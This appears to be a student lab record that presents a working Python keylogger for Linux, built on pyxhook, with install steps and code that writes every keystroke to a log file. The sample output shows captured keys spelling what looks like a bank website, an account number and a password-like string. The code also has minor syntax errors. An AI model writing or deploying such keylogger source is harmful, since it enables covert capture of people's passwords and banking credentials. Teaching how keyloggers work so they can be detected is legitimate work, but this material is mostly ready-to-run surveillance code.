

DATE:

**KEYLOGGER****AIM:**

To write a python program to implement key logger to record key strokes in Linux.

**ALGORITHM:**

- Check if python-xlib is installed. If not type the command- `dnf install python-xlib -y`
- Run pyxhook file using the command- `python pyxhook.py`
- Create a file key.py
- Run key.py to record all key strokes.
- Open file.log file to view all the recorded key strokes.

**PROGRAM CODE:**

```
import os
import pyxhook
# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get( 'pylogger_file', os.path.expanduser('~'/Desktop/file.log'))
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord( os.environ.get( 'pylogger_cancel', '')[0])
# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
    try:
        os.remove(log_file)
    except EnvironmentError:
        # File does not exist, or no permissions.
        pass

#creating key pressing event and saving it into log file
def OnKeyPress(event):
    with open(log_file, 'a') as f:
        f.write('{}\n'.format(event.Key))

# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
    new_hook.start() # start the hook
except KeyboardInterrupt:
    # User cancelled from command line.
    pass
except Exception as ex:
    # Write exceptions to the log file, for analysis later.
```

```
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
    f.write("\n{}".format(msg))
```

## OUTPUT:

```
w
w
w
period
h
d
f
c
b
a
n
k
period
c
o
m
Return
3
0
0
9
1
2
3
Shift_L
I
n
d
i
a
9
0
Shift_L
dollar
percent
```

## RESULT: